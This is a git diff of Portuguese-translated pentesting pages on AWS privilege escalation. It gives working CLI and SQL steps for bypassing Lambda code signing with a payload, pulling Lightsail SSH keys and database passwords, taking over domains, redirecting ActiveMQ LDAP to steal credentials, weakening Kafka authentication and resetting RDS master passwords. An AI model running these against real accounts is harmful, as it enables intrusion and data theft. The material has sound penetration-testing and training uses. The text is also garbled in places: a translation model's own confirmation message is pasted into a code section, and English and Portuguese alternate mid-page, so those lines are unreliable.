-If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
+Se uma função Lambda exigir code signing, um atacante que puder remover a Code Signing Config (CSC) ou rebaixá-la para Warn pode implantar código não assinado na função. Isso contorna as proteções de integridade sem modificar a role IAM da função ou os triggers.
 
-Permissões (uma das):
+Permissions (one of):
 - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 
-Observações:
-- Para o Path B, você não precisa de um AWS Signer profile se a política do CSC estiver configurada como `WARN` (unsigned artifacts allowed).
+Notes:
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
 
-Passos (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
+Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
 
-Prepare um pequeno payload:
+Prepare a small payload:
 ```bash
 cat > handler.py <<'PY'
 import os, json
@@ -303,7 +303,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Confirmo. Vou traduzir o conteúdo para português mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir: código, nomes de técnicas, termos comuns de hacking, nomes de plataformas (AWS, GCP, Workspace, etc.), a palavra "leak", pentesting, links, paths e tags.
+Confirmo: vou traduzir o texto relevante para português mantendo exatamente a mesma sintaxe Markdown/HTML. Não traduzirei código, nomes de técnicas, termos comuns de hacking, nomes de plataformas (Workspace, aws, gcp...), a palavra "leak", "pentesting", links, paths, refs ou qualquer tag (por exemplo {#tabs}, {#tab name="Method1"}, {#ref}, {#include ...}). Não alterarei tags/links/paths e não adicionarei conteúdo extra.
 ```bash
 aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
 cat /tmp/out.json
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
similarity index 53%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
index 62645eb1a..f0fd82f9c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Lightsail Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Lightsail
 
-Para mais informações sobre Lightsail, consulte:
+Para mais informações sobre Lightsail, veja:
 
 {{#ref}}
-../aws-services/aws-lightsail-enum.md
+../../aws-services/aws-lightsail-enum.md
 {{#endref}}
 
 > [!WARNING]
-> É importante notar que o Lightsail **não usa funções IAM pertencentes ao usuário**, mas a uma conta gerenciada pela AWS, então você não pode abusar deste serviço para privesc. No entanto, **dados sensíveis** como código, chaves de API e informações de banco de dados podem ser encontrados neste serviço.
+> É importante notar que Lightsail **não usa IAM roles pertencentes ao usuário** mas sim a uma conta gerenciada pela AWS, então você não pode abusar desse serviço para privesc. No entanto, **dados sensíveis** como código, chaves de API e informações de banco de dados podem ser encontrados nesse serviço.
 
 ### `lightsail:DownloadDefaultKeyPair`
 
-Esta permissão permitirá que você obtenha as chaves SSH para acessar as instâncias:
+This permission will allow you to get the SSH keys to access the instances:
 ```
 aws lightsail download-default-key-pair
 ```
@@ -27,15 +27,15 @@ Esta permissão permitirá que você gere chaves SSH para acessar as instâncias
 ```bash
 aws lightsail get-instance-access-details --instance-name <instance_name>
 ```
-**Impacto Potencial:** Encontre informações sensíveis dentro das instâncias.
+**Impacto Potencial:** Encontrar informações sensíveis dentro das instances.
 
 ### `lightsail:CreateBucketAccessKey`
 
-Esta permissão permitirá que você obtenha uma chave para acessar o bucket:
+Essa permissão permitirá que você obtenha uma chave para acessar o bucket:
 ```bash
 aws lightsail create-bucket-access-key --bucket-name <name>
 ```
-**Impacto Potencial:** Encontre informações sensíveis dentro do bucket.
+**Impacto potencial:** Encontrar informações sensíveis dentro do bucket.
 
 ### `lightsail:GetRelationalDatabaseMasterUserPassword`
 
@@ -43,7 +43,7 @@ Esta permissão permitirá que você obtenha as credenciais para acessar o banco
 ```bash
 aws lightsail get-relational-database-master-user-password --relational-database-name <name>
 ```
-**Impacto Potencial:** Encontre informações sensíveis dentro do banco de dados.
+**Impacto Potencial:** Encontrar informações sensíveis dentro do banco de dados.
 
 ### `lightsail:UpdateRelationalDatabase`
 
@@ -51,15 +51,15 @@ Esta permissão permitirá que você altere a senha para acessar o banco de dado
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
 ```
-Se o banco de dados não for público, você também pode torná-lo público com essas permissões com
+Se o banco de dados não for público, você também poderia torná-lo público com essas permissões:
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
 ```
-**Impacto Potencial:** Encontrar informações sensíveis dentro do banco de dados.
+**Impacto Potencial:** Encontrar informações sensíveis no banco de dados.
 
 ### `lightsail:OpenInstancePublicPorts`
 
-Esta permissão permite abrir portas para a Internet.
+Esta permissão permite abrir portas para a Internet
 ```bash
 aws lightsail open-instance-public-ports \
 --instance-name MEAN-2 \
@@ -69,28 +69,28 @@ aws lightsail open-instance-public-ports \
 
 ### `lightsail:PutInstancePublicPorts`
 
-Esta permissão permite abrir portas para a Internet. Observe que a chamada fechará qualquer porta aberta que não esteja especificada nela.
+Esta permissão permite abrir portas para a Internet. Note que a chamada fechará qualquer porta aberta que não esteja especificada nela.
 ```bash
 aws lightsail put-instance-public-ports \
 --instance-name MEAN-2 \
 --port-infos fromPort=22,protocol=TCP,toPort=22
 ```
-**Impacto Potencial:** Acesso a portas sensíveis.
+**Impacto Potencial:** Acessar portas sensíveis.
 
 ### `lightsail:SetResourceAccessForBucket`
 
-Esta permissão permite dar a uma instância acesso a um bucket sem credenciais extras.
+Esta permissão permite conceder a instâncias acesso a um bucket sem credenciais adicionais.
 ```bash
 aws set-resource-access-for-bucket \
 --resource-name <instance-name> \
 --bucket-name <bucket-name> \
 --access allow
 ```
-**Impacto Potencial:** Acesso potencial a buckets com informações sensíveis.
+**Impacto Potencial:** Possível novo acesso a buckets com informações sensíveis.
 
 ### `lightsail:UpdateBucket`
 
-Com esta permissão, um atacante poderia conceder ao seu próprio conta AWS acesso de leitura sobre buckets ou até mesmo tornar os buckets públicos para todos:
+Com essa permissão, um atacante poderia conceder à sua própria conta AWS acesso de leitura aos buckets ou até tornar os buckets públicos para todos:
 ```bash
 # Grant read access to exterenal account
 aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
@@ -101,36 +101,36 @@ aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPub
 # Bucket private but single objects can be public
 aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
 ```
-**Impacto Potencial:** Acesso potencial a buckets com informações sensíveis.
+**Impacto Potencial:** Possível novo acesso a buckets com informações sensíveis.
 
 ### `lightsail:UpdateContainerService`
 
-Com essas permissões, um atacante poderia conceder acesso a ECRs privados do serviço de contêineres.
+Com essa permissão, um atacante poderia conceder acesso a ECRs privados a partir do serviço de containers
 ```bash
 aws update-container-service \
 --service-name <name> \
 --private-registry-access ecrImagePullerRole={isActive=boolean}
 ```
-**Impacto Potencial:** Obter informações sensíveis do ECR privado
+**Impacto Potencial:** Obter informações sensíveis de um ECR privado
 
 ### `lightsail:CreateDomainEntry`
 
-Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
+Um atacante com essa permissão pode criar um subdomínio e apontá-lo para seu próprio endereço IP (subdomain takeover), criar um registro SPF que lhe permita spoof e-mails do domínio, ou mesmo definir o domínio principal para o seu próprio endereço IP.
 ```bash
 aws lightsail create-domain-entry \
 --domain-name example.com \
 --domain-entry name=dev.example.com,type=A,target=192.0.2.0
 ```
-**Impacto Potencial:** Tomada de controle de um domínio
+**Potential Impact:** Tomada de um domínio
 
 ### `lightsail:UpdateDomainEntry`
 
-Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
+Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (subdomain takeover), ou criar um registro SPF que permita spoof de e-mails do domínio, ou até apontar o domínio principal para o seu próprio endereço IP.
 ```bash
 aws lightsail update-domain-entry \
 --domain-name example.com \
 --domain-entry name=dev.example.com,type=A,target=192.0.2.0
 ```
-**Impacto Potencial:** Tomar controle de um domínio
+**Impacto Potencial:** Assumir um domínio
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
deleted file mode 100644
index dd2c5f1fa..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - Macie Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Macie
-
-Para mais informações sobre o Macie, consulte:
-
-{{#ref}}
-../aws-services/aws-macie-enum.md
-{{#endref}}
-
-### Amazon Macie - Bypass `Reveal Sample` Integrity Check
-
-AWS Macie é um serviço de segurança que detecta automaticamente dados sensíveis dentro de ambientes AWS, como credenciais, informações pessoalmente identificáveis (PII) e outros dados confidenciais. Quando o Macie identifica uma credencial sensível, como uma chave secreta da AWS armazenada em um bucket S3, ele gera uma descoberta que permite ao proprietário visualizar uma "amostra" dos dados detectados. Normalmente, uma vez que o arquivo sensível é removido do bucket S3, espera-se que o segredo não possa mais ser recuperado.
-
-No entanto, um **bypass** foi identificado onde um atacante com permissões suficientes pode **recarregar um arquivo com o mesmo nome** mas contendo dados fictícios diferentes e não sensíveis. Isso faz com que o Macie associe o arquivo recém-carregado à descoberta original, permitindo que o atacante use o **recurso "Reveal Sample"** para extrair o segredo detectado anteriormente. Este problema representa um risco significativo à segurança, pois segredos que se pensava terem sido excluídos permanecem recuperáveis por meio desse método.
-
-![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
-
-**Passos Para Reproduzir:**
-
-1. Carregue um arquivo (por exemplo, `test-secret.txt`) em um bucket S3 com dados sensíveis, como uma chave secreta da AWS. Aguarde o AWS Macie escanear e gerar uma descoberta.
-
-2. Navegue até as Descobertas do AWS Macie, localize a descoberta gerada e use o recurso **Reveal Sample** para visualizar o segredo detectado.
-
-3. Exclua `test-secret.txt` do bucket S3 e verifique se ele não existe mais.
-
-4. Crie um novo arquivo chamado `test-secret.txt` com dados fictícios e recarregue-o no mesmo bucket S3 usando a **conta do atacante**.
-
-5. Retorne às Descobertas do AWS Macie, acesse a descoberta original e clique em **Reveal Sample** novamente.
-
-6. Observe que o Macie ainda revela o segredo original, apesar do arquivo ter sido excluído e substituído por conteúdo diferente **de contas diferentes, no nosso caso será a conta do atacante**.
-
-**Resumo:**
-
-Essa vulnerabilidade permite que um atacante com permissões suficientes do AWS IAM recupere segredos detectados anteriormente, mesmo após o arquivo original ter sido excluído do S3. Se uma chave secreta da AWS, token de acesso ou outra credencial sensível for exposta, um atacante pode explorar essa falha para recuperá-la e obter acesso não autorizado aos recursos da AWS. Isso pode levar a escalonamento de privilégios, acesso não autorizado a dados ou comprometimento adicional de ativos em nuvem, resultando em vazamentos de dados e interrupções de serviço.
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
new file mode 100644
index 000000000..71933eb96
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
@@ -0,0 +1,38 @@
+# AWS - Macie Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Macie
+
+Para mais informações sobre Macie veja:
+
+{{#ref}}
+../../aws-services/aws-macie-enum.md
+{{#endref}}
+
+### Amazon Macie - Bypass `Reveal Sample` Verificação de Integridade
+
+AWS Macie é um serviço de segurança que detecta automaticamente dados sensíveis dentro de ambientes AWS, como credenciais, informações pessoalmente identificáveis (PII) e outros dados confidenciais. Quando Macie identifica uma credencial sensível, como uma AWS secret key armazenada em um S3 bucket, ele gera um finding que permite ao proprietário visualizar uma "sample" dos dados detectados. Tipicamente, uma vez que o arquivo sensível é removido do S3 bucket, espera-se que o segredo não possa mais ser recuperado.
+
+No entanto, foi identificado um **bypass** onde um atacante com permissões suficientes pode **re-upload a file with the same name** mas contendo dados dummy diferentes e não sensíveis. Isso faz com que o Macie associe o arquivo recém-carregado ao finding original, permitindo que o atacante use o recurso **Reveal Sample** para extrair o segredo detectado anteriormente. Esse problema representa um risco significativo de segurança, pois segredos que supostamente foram deletados continuam recuperáveis por esse método.
+
+![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
+
+**Passos para Reproduzir:**
+
+1. Faça upload de um arquivo (ex.: `test-secret.txt`) em um S3 bucket contendo dados sensíveis, como uma AWS secret key. Aguarde o AWS Macie escanear e gerar um finding.
+
+2. Navegue até AWS Macie Findings, localize o finding gerado e use o recurso **Reveal Sample** para visualizar o segredo detectado.
+
+3. Delete `test-secret.txt` do S3 bucket e verifique que ele não existe mais.
+
+4. Crie um novo arquivo chamado `test-secret.txt` com dados dummy e re-upload no mesmo S3 bucket usando **attacker's account**.
+
+5. Retorne ao AWS Macie Findings, acesse o finding original e clique em **Reveal Sample** novamente.
+
+6. Observe que o Macie ainda revela o segredo original, apesar do arquivo ter sido deletado e substituído por conteúdo diferente **from different accounts, in our case it will be the attacker's account**.
+
+**Resumo:**
+
+Essa vulnerabilidade permite que um atacante com permissões AWS IAM suficientes recupere segredos detectados anteriormente mesmo após o arquivo original ter sido deletado do S3. Se uma AWS secret key, access token, ou outra credencial sensível for exposta, um atacante poderia explorar essa falha para recuperá-la e obter acesso não autorizado a recursos AWS. Isso pode levar a privilege escalation, acesso não autorizado a dados, ou comprometimento adicional de cloud assets, resultando em data breaches e interrupções de serviço.
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
index fe3d7e3d6..2dbb62b00 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
@@ -1,16 +1,16 @@
 # AWS - Mediapackage Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### `mediapackage:RotateChannelCredentials`
 
-Altera o nome de usuário e a senha do primeiro IngestEndpoint do Canal. (Esta API está obsoleta para RotateIngestEndpointCredentials)
+Altera o nome de usuário e a senha do primeiro IngestEndpoint do Channel. (Esta API está obsoleta em favor de RotateIngestEndpointCredentials)
 ```bash
 aws mediapackage rotate-channel-credentials --id <value>
 ```
 ### `mediapackage:RotateIngestEndpointCredentials`
 
-Altera o nome de usuário e a senha do primeiro IngestEndpoint do Canal. (Esta API está obsoleta para RotateIngestEndpointCredentials)
+Altera o username e password do primeiro IngestEndpoint do Channel. (Esta API está obsoleta em favor de RotateIngestEndpointCredentials)
 ```bash
 aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
 ```
@@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index 52d8b3271..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - MQ Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MQ
-
-Para mais informações sobre MQ, consulte:
-
-{{#ref}}
-../aws-services/aws-mq-enum.md
-{{#endref}}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-Com essas permissões, você pode **criar um novo usuário em um broker ActimeMQ** (isso não funciona no RabbitMQ):
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**Impacto Potencial:** Acesso a informações sensíveis navegando pelo ActiveMQ
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-Com essas permissões, você pode **criar um novo usuário em um broker ActiveMQ** (isso não funciona no RabbitMQ):
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id <value>
-aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**Impacto Potencial:** Acesso a informações sensíveis navegando pelo ActiveMQ
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-Se um broker estiver usando **LDAP** para autorização com **ActiveMQ**. É possível **alterar** a **configuração** do servidor LDAP usado para **um controlado pelo atacante**. Dessa forma, o atacante poderá **roubar todas as credenciais que estão sendo enviadas através do LDAP**.
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id <value> --ldap-server-metadata=...
-```
-Se você conseguisse de alguma forma encontrar as credenciais originais usadas pelo ActiveMQ, poderia realizar um MitM, roubar as credenciais, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você pudesse fazer isso).
-
-**Impacto Potencial:** Roubar credenciais do ActiveMQ
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
new file mode 100644
index 000000000..5a75a734e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
@@ -0,0 +1,43 @@
+# AWS - MQ Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MQ
+
+Para mais informações sobre MQ, consulte:
+
+{{#ref}}
+../../aws-services/aws-mq-enum.md
+{{#endref}}
+
+### `mq:ListBrokers`, `mq:CreateUser`
+
+Com essas permissões você pode **criar um novo usuário em um broker ActimeMQ** (isso não funciona no RabbitMQ):
+```bash
+aws mq list-brokers
+aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Impacto potencial:** Acessar informações sensíveis navegando pelo ActiveMQ
+
+### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
+
+Com essas permissões você pode **criar um novo usuário em um broker ActimeMQ** (isso não funciona no RabbitMQ):
+```bash
+aws mq list-brokers
+aws mq list-users --broker-id <value>
+aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Impacto Potencial:** Acessar informações sensíveis ao navegar pelo ActiveMQ
+
+### `mq:ListBrokers`, `mq:UpdateBroker`
+
+Se um broker estiver usando **LDAP** para autorização com **ActiveMQ**, é possível **alterar** a **configuração** do servidor LDAP usado para **um controlado pelo atacante**. Dessa forma o atacante poderá **roubar todas as credenciais enviadas via LDAP**.
+```bash
+aws mq list-brokers
+aws mq update-broker --broker-id <value> --ldap-server-metadata=...
+```
+Se você, de alguma forma, conseguir encontrar as credenciais originais usadas pelo ActiveMQ, poderá realizar um MitM, roubar as creds, usá-las no servidor original e enviar a resposta (talvez apenas reutilizando as credenciais roubadas você consiga fazer isso).
+
+**Impacto potencial:** Roubar credenciais do ActiveMQ
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index 9d9e144d5..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# AWS - MSK Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MSK
-
-Para mais informações sobre MSK (Kafka), consulte:
-
-{{#ref}}
-../aws-services/aws-msk-enum.md
-{{#endref}}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-Com esses **privilégios** e **acesso à VPC onde os brokers kafka estão**, você poderia adicionar a **autenticação None** para acessá-los.
-```bash
-aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
-```
-Você precisa de acesso ao VPC porque **não é possível habilitar a autenticação None com Kafka exposto publicamente**. Se estiver exposto publicamente, se **a autenticação SASL/SCRAM** for usada, você poderá **ler o segredo** para acessar (você precisará de privilégios adicionais para ler o segredo).\
-Se **a autenticação baseada em função IAM** for usada e **o kafka estiver exposto publicamente**, você ainda poderá abusar desses privilégios para obter permissões para acessá-lo.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
new file mode 100644
index 000000000..243434b1d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
@@ -0,0 +1,22 @@
+# AWS - MSK Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MSK
+
+Para mais informações sobre MSK (Kafka) consulte:
+
+{{#ref}}
+../../aws-services/aws-msk-enum.md
+{{#endref}}
+
+### `msk:ListClusters`, `msk:UpdateSecurity`
+
+Com esses **privilégios** e **acesso à VPC onde os kafka brokers estão**, você poderia adicionar a **None authentication** para acessá-los.
+```bash
+aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
+```
+Você precisa de acesso à VPC porque **não pode habilitar None authentication com o Kafka exposto publicamente**. Se estiver exposto publicamente, se for usada autenticação **SASL/SCRAM**, você poderia **ler o segredo** para obter acesso (você precisará de privilégios adicionais para ler o segredo).\
+Se for usada **autenticação baseada em roles do IAM** e o **Kafka estiver exposto publicamente** você ainda pode abusar desses privilégios para obter permissões que permitam acessá‑lo.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index 79f7bba25..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Organizations Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizações
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-## Da conta de gerenciamento para contas filhas
-
-Se você comprometer a conta root/gerenciamento, é provável que você possa comprometer todas as contas filhas.\
-Para [**aprender como, verifique esta página**](../#compromising-the-organization).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
new file mode 100644
index 000000000..f6c1f8922
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
@@ -0,0 +1,18 @@
+# AWS - Organizations Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+## Da conta de gerenciamento para as contas filhas
+
+Se você comprometer a root/management account, é provável que consiga comprometer todas as contas filhas.\
+Para [**aprender como, confira esta página**](../../index.html#compromising-the-organization).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
index 282091caa..cdc158c6c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - RDS Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## RDS - Serviço de Banco de Dados Relacional
+## RDS - Relational Database Service
 
-Para mais informações sobre RDS, consulte:
+Para mais informações sobre o RDS, consulte:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:ModifyDBInstance`
 
-Com essa permissão, um atacante pode **modificar a senha do usuário mestre**, e o login dentro do banco de dados:
+Com essa permissão, um atacante pode **modificar a senha do usuário master**, e o login dentro do banco de dados:
 ```bash
 # Get the DB username, db name and address
 aws rds describe-db-instances
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
 psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 ```
 > [!WARNING]
-> Você precisará ser capaz de **contatar o banco de dados** (eles geralmente são acessíveis apenas de redes internas).
+> Você precisará ser capaz de **contatar o banco de dados** (eles geralmente são acessíveis apenas a partir de redes internas).
 
 **Impacto Potencial:** Encontrar informações sensíveis dentro dos bancos de dados.
 
 ### rds-db:connect
 
-De acordo com os [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), um usuário com essa permissão poderia se conectar à instância do DB.
+De acordo com a [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) um usuário com essa permissão poderia conectar-se à instância DB.
 
-### Abusar das permissões do papel IAM do RDS
+### Abusar permissões IAM da Role RDS
 
 #### Postgresql (Aurora)
 
 > [!TIP]
-> Se ao executar **`SELECT datname FROM pg_database;`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados postgresql da AWS**.
+> Se ao executar **`SELECT datname FROM pg_database;`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um banco de dados **AWS postgresql**.
 
-Primeiro, você pode verificar se esse banco de dados foi usado para acessar algum outro serviço da AWS. Você pode verificar isso observando as extensões instaladas:
+Primeiro, você pode verificar se esse banco de dados foi usado para acessar qualquer outro serviço AWS. Você pode verificar isso olhando as extensões instaladas:
 ```sql
 SELECT * FROM pg_extension;
 ```
-Se você encontrar algo como **`aws_s3`**, pode assumir que este banco de dados tem **algum tipo de acesso ao S3** (existem outras extensões como **`aws_ml`** e **`aws_lambda`**).
+Se você encontrar algo como **`aws_s3`** pode assumir que esse banco de dados tem **algum tipo de acesso ao S3** (existem outras extensões como **`aws_ml`** e **`aws_lambda`**).
 
-Além disso, se você tiver permissões para executar **`aws rds describe-db-clusters`**, pode ver lá se o **cluster tem algum IAM Role associado** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da função** (ou se você puder obter as **permissões** da função), você poderia **adivinhar** que acesso extra o banco de dados possui.
+Além disso, se você tem permissões para executar **`aws rds describe-db-clusters`** pode ver ali se o **cluster tem alguma IAM Role anexada** no campo **`AssociatedRoles`**. Se houver, você pode assumir que o banco de dados foi **preparado para acessar outros serviços da AWS**. Com base no **nome da role** (ou se você conseguir obter as **permissões** da role) você poderia **estimar** qual acesso extra o banco de dados possui.
 
-Agora, para **ler um arquivo dentro de um bucket**, você precisa saber o caminho completo. Você pode lê-lo com:
+Agora, para **ler um arquivo dentro de um bucket** você precisa conhecer o caminho completo. Você pode lê-lo com:
 ```sql
 // Create table
 CREATE TABLE ttemp (col TEXT);
@@ -71,7 +71,7 @@ SELECT * from ttemp;
 // Delete table
 DROP TABLE ttemp;
 ```
-Se você tivesse **credenciais brutas da AWS**, também poderia usá-las para acessar dados do S3 com:
+Se você tivesse **credenciais AWS brutas**, você também poderia usá-las para acessar dados do S3 com:
 ```sql
 SELECT aws_s3.table_import_from_s3(
 't', '', '(format csv)',
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 );
 ```
 > [!NOTE]
-> Postgresql **não precisa mudar nenhuma variável do grupo de parâmetros** para poder acessar o S3.
